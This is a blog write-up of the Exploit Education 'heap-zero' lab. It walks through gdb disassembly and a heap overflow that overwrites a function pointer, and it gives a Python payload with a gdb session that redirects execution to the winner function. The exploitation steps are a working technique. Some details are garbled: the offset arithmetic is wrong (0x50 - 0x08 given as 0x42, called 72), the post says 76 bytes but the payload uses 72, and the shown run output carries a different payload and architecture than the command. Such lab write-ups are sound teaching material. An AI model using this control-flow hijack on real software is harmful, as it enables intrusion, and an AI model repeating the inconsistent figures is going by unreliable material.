If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup

Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise
  9. Format One Writeup - Exploit Education Lab Exercise
  10. Format Two Writeup - Exploit Education Lab Exercise
  11. Format Three Writeup - Exploit Education Lab Exercise
  12. Format Four Writeup - Exploit Education Lab Exercise

Quick Overview

Similar to Stack One, Heap Zero exercise motive is to smash the heap to modify other variables in the heap to a hex value and technically overwrite function pointer in the heap. Similar to gets in Stack Zero, strcpy function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared function pointer in heap.

Disassemble

Disassembling the code will get you overall idea behind the heap-zero code, One can use gdb ./heap-zero to start debugging it in runtime.

  1. gdb ./heap-zero
  2. Type disassemble main to get the disassembled code (assembly)
   0x08048867 <+0>:     lea    ecx,[esp+0x4]
   0x0804886b <+4>:     and    esp,0xfffffff0
   0x0804886e <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048871 <+10>:    push   ebp
   0x08048872 <+11>:    mov    ebp,esp
   0x08048874 <+13>:    push   ebx
   0x08048875 <+14>:    push   ecx
   0x08048876 <+15>:    sub    esp,0x10
   0x08048879 <+18>:    mov    ebx,ecx
   0x0804887b <+20>:    sub    esp,0xc
   0x0804887e <+23>:    push   0x804ac44
   0x08048883 <+28>:    call   0x8048600 <puts@plt>
   0x08048888 <+33>:    add    esp,0x10
   0x0804888b <+36>:    cmp    DWORD PTR [ebx],0x1
   0x0804888e <+39>:    jg     0x80488aa <main+67>
   0x08048890 <+41>:    sub    esp,0xc
   0x08048893 <+44>:    push   0x804ac90
   0x08048898 <+49>:    call   0x8048600 <puts@plt>
   0x0804889d <+54>:    add    esp,0x10
   0x080488a0 <+57>:    sub    esp,0xc
   0x080488a3 <+60>:    push   0x1
   0x080488a5 <+62>:    call   0x8048680 <exit@plt>
   0x080488aa <+67>:    sub    esp,0xc
   0x080488ad <+70>:    push   0x40
   0x080488af <+72>:    call   0x8049146 <malloc>
   0x080488b4 <+77>:    add    esp,0x10
   0x080488b7 <+80>:    mov    DWORD PTR [ebp-0xc],eax
   0x080488ba <+83>:    sub    esp,0xc
   0x080488bd <+86>:    push   0x40
   0x080488bf <+88>:    call   0x8049146 <malloc>
   0x080488c4 <+93>:    add    esp,0x10
   0x080488c7 <+96>:    mov    DWORD PTR [ebp-0x10],eax
   0x080488ca <+99>:    mov    eax,DWORD PTR [ebp-0x10]
   0x080488cd <+102>:   mov    DWORD PTR [eax],0x804884e
   0x080488d3 <+108>:   mov    eax,DWORD PTR [ebx+0x4]
   0x080488d6 <+111>:   add    eax,0x4
   0x080488d9 <+114>:   mov    edx,DWORD PTR [eax]
   0x080488db <+116>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080488de <+119>:   sub    esp,0x8
   0x080488e1 <+122>:   push   edx
   0x080488e2 <+123>:   push   eax
   0x080488e3 <+124>:   call   0x80485b0 <strcpy@plt>
   0x080488e8 <+129>:   add    esp,0x10
   0x080488eb <+132>:   mov    eax,DWORD PTR [ebp-0x10]
   0x080488ee <+135>:   mov    eax,DWORD PTR [eax]
   0x080488f0 <+137>:   push   eax
   0x080488f1 <+138>:   push   DWORD PTR [ebp-0x10]
   0x080488f4 <+141>:   push   DWORD PTR [ebp-0xc]
   0x080488f7 <+144>:   push   0x804acb8
   0x080488fc <+149>:   call   0x80485d0 <printf@plt>
   0x08048901 <+154>:   add    esp,0x10
   0x08048904 <+157>:   mov    eax,ds:0x804c2c0
   0x08048909 <+162>:   sub    esp,0xc
   0x0804890c <+165>:   push   eax
   0x0804890d <+166>:   call   0x8048610 <fflush@plt>
   0x08048912 <+171>:   add    esp,0x10
   0x08048915 <+174>:   mov    eax,DWORD PTR [ebp-0x10]
   0x08048918 <+177>:   mov    eax,DWORD PTR [eax]
   0x0804891a <+179>:   call   eax
   0x0804891c <+181>:   mov    eax,0x0
   0x08048921 <+186>:   lea    esp,[ebp-0x8]
   0x08048924 <+189>:   pop    ecx
   0x08048925 <+190>:   pop    ebx
   0x08048926 <+191>:   pop    ebp
   0x08048927 <+192>:   lea    esp,[ecx-0x4]
   0x0804892a <+195>:   ret

If you carefully check the source, you might miss winner in the above disassembled code. You can go ahead and type disassemble winner in the gdb prompt,

   0x08048835 <+0>:     push   ebp
   0x08048836 <+1>:     mov    ebp,esp
   0x08048838 <+3>:     sub    esp,0x8
   0x0804883b <+6>:     sub    esp,0xc
   0x0804883e <+9>:     push   0x804abd0
   0x08048843 <+14>:    call   0x8048600 <puts@plt>
   0x08048848 <+19>:    add    esp,0x10
   0x0804884b <+22>:    nop
   0x0804884c <+23>:    leave
   0x0804884d <+24>:    ret

Before taking a look at the code, if you disassembled the heap-zero using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/heap-zero, brought to you by https://exploit.education message via Puts (aka printf) method
  2. It checks if an argument was passed to the program. If not, it prints a message asking for an argument and exits.
  3. It allocates memory for a data structure and an fp structure using malloc.
  4. It initializes the function pointer in the fp structure to point to the nowinner function.
  5. It copies the argument passed to the program into the name field of the data structure using strcpy.
  6. It prints the addresses of the data and fp structures and the address of the function pointed to by fp.
  7. It calls the function pointed to by fp, which by default is the nowinner function that prints a message indicating that the level has not been passed.

Primary Goal

The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to system function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the function pointer fp with winner function memory address.

Memory Allocation

As you see that the data struct is dynamically allocated, they are allocated seperately by malloc different from stack frame. You can see that data.name (64 bytes) gets written at 0xf7e69008 and fp integer variable (4 bytes) at 0xf7e69050. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the buffer to overwrite fp. If you play around with these memory layout behaviour, you may note that the char buffer variable writes from $0xf7e69008 grows towards $0xf7e69050.

So, the overflow bytes can be calculated as 0x50 - 0x08 (hexadecimal) results in 0x42 and converted to decimal (72). So, you can overflow the buffer with 72 bytes and overwrite the fp variable. However, you may note that the fp variable is an integer and it is 4 bytes long. So, you can overflow the buffer with 72 bytes and 4 bytes of fp variable. So, the total bytes to overflow is 72 + 4 = 76 bytes. Now, you can go ahead and generate the payload with 76 bytes of A and 4 bytes of fp variable. The remaining 4 bytes of fp variable can be overwritten with winner function memory address.

To get the winner memory address, you can use gdb to disassemble the winner function and note down the starting address of the function. You can use disassemble winner command in gdb to disassemble the winner function. The starting address of the winner function is 0x08048835. The address 0x08048835 can be represented in little endian format as \x35\x88\x04\x08. So, the final payload would be 76 bytes of A + 4 bytes of fp variable + 4 bytes of winner function address. You can use python to generate the payload as follows,

print('A'*72 + '\x35\x88\x04\x08')

Exploit

So, the final exploit would be as follows,

(gdb) r $(python -c "print('A'*72 + '\x35\x88\x04\x08')")
Starting program: /opt/phoenix/amd64/heap-zero <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x08048835
Congratulations, you have passed this level

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform remote code execution in the system. 🪲

buffer-overflow-meme

Source and Reference:

  1. Heap Zero Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox